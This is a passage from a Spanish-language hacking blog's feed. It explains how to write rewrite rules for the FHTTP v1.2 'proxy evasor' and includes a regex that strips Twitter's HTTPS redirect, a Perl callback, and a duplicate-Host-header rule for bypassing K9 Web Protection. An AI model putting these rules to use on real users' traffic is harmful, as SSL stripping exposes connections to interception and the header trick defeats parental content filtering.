"html entitites", si se utilizan: \r o \n se tiene que agregar un escape adicional (\\r y \\n), esto es:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;es diferente:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;\r\n&lt;/span&gt; lo cual FHTTP convertiría en un CRLF real (y no para regex).&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;\\r\\n&lt;/span&gt; lo cual FHTTP convertiría en \r\n (y se utilizaría en el regex).&lt;br /&gt;&lt;br /&gt;hay ligeras diferencias entre usar uno u otro xD...&lt;br /&gt;&lt;br /&gt;El  replacement al igual que en los regex clásicos de perl se pueden usar "grupos" por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;pre class="Cpp" name="code"&gt;reqline: ^GET(\s|\t)+ =&gt; POST $1 &amp;lt;!-- GET a POST&lt;/pre&gt;&lt;br /&gt;Se remplazaría por:&lt;br /&gt;&lt;br /&gt;POST \t/ HTTP/1.1&lt;br /&gt;&lt;br /&gt;(puesto que se utiliza una tabulacion en lugar de espacio).&lt;br /&gt;&lt;br /&gt;Los pattern son case insensitive (insensible a mayusculas y minusculas).&lt;br /&gt;&lt;br /&gt;Otro truco que podemos encontrar es en el "donde" por ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;pre class="Cpp" name="code"&gt;rcontenido:nossl: window\.location\.replace\(([\s\\r\\n]*)"https:\/\/"([\s\\r\\n]*)\+([\s\\r\\n]*)window\.location\.hostname([\s\\r\\n]*)\+([\s\\r\\n]*)window\.location\.pathname([\s\\r\\n]*)\+([\s\\r\\n]*)window\.location\.hash([\s\\r\\n]*)\) =&amp;gt; window.location.replace("http://"+window.location.hostname+window.location.pathname+"?&amp;amp;08dae2760be9fe48274a74c31fba5b0f"+window.location.hash) &amp;lt;!-- Twitter y otros :P&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;(regla para romper el "Solo HTTPS" de twitter xD...)&lt;br /&gt;&lt;br /&gt;se esta usando el donde: "rcontenido:nossl" lo cual es solo se va a usar cuando este activado el "eliminar SSL".&lt;br /&gt;&lt;br /&gt;Como verán es realmente fácil armar una regla para el proxy evasor de la FHTTP v1.2.&lt;br /&gt;&lt;br /&gt;Ahora veremos rápidamente sobre el proxymodulos.pm.&lt;br /&gt;&lt;br /&gt;&lt;pre class="Cpp" name="code"&gt;sub uricall {&lt;br /&gt;  my $uri = $_[0];&lt;br /&gt;  $uri =~ s/^http:\/\/([\/]+)//g;&lt;br /&gt;  $uri = "/".$uri if($uri !~ /^\//);&lt;br /&gt;  return $uri;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Armada esta subrutina la agregamos al proxymodulos.pm y la agregamos a su respectiva "lista de callback" (@uricallbacks).&lt;br /&gt;&lt;br /&gt;&lt;pre class="Cpp" name="code"&gt;my @uricallbacks = (&lt;br /&gt;                          uricall,&lt;br /&gt;                      );&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;y listo, nuestra subrutina se ejecutara por cada uri (url).&lt;br /&gt;&lt;br /&gt;De momento lo dejamos aqui, espero que les sea de utilidad y que próximamente veamos mas vídeos y papers publicados de mas usos de esta herramienta :P...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bytez!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-1523948588576719088?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/1523948588576719088/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=1523948588576719088' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1523948588576719088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/1523948588576719088'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/05/diseno-de-reglas-para-proxy-evasor.html' title='Diseño de reglas para Proxy Evasor (FHTTP v1.2)'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-804415805869422167.post-9074032972237383238</id><published>2011-05-18T02:53:00.002-05:00</published><updated>2011-05-18T02:55:24.881-05:00</updated><title type='text'>K9 Web Protection Bypass con FHTTP v1.2</title><content type='html'>&lt;iframe src="http://www.youtube.com/embed/Yo-tYBNqyE4" allowfullscreen="" frameborder="0" height="390" width="480"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Regla para Bypass:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre style="margin-top: 0pt; display: inline; font-weight: bold;"&gt;header: Host:([^\\r\\n]+) =&amp;gt; Host:$1\r\nHost: 127.0.0.1:2372 &amp;lt;!-- K9 Bypass&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bytez!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/804415805869422167-9074032972237383238?l=hackingtelevision.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackingtelevision.blogspot.com/feeds/9074032972237383238/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=804415805869422167&amp;postID=9074032972237383238' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/9074032972237383238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/804415805869422167/posts/default/9074032972237383238'/><link rel='alternate' type='text/html' href='http://hackingtelevision.blogspot.com/2011/05/k9-web-protection-bypass-con-fhttp-v12.html' title='K9 Web Protection Bypass con FHTTP v1.2'/><author><name>Xianuro GL</name><uri>https://profiles.google.com/114510808217809061464</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-W1LCb_vrfw4/AAAAAAAAAAI/AAAAAAAAAJg/7mIdkolnsV4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/Yo-tYBNqyE4/default.jpg' height='72' width='72'/><thr:total>0</thr:total></entry></feed>
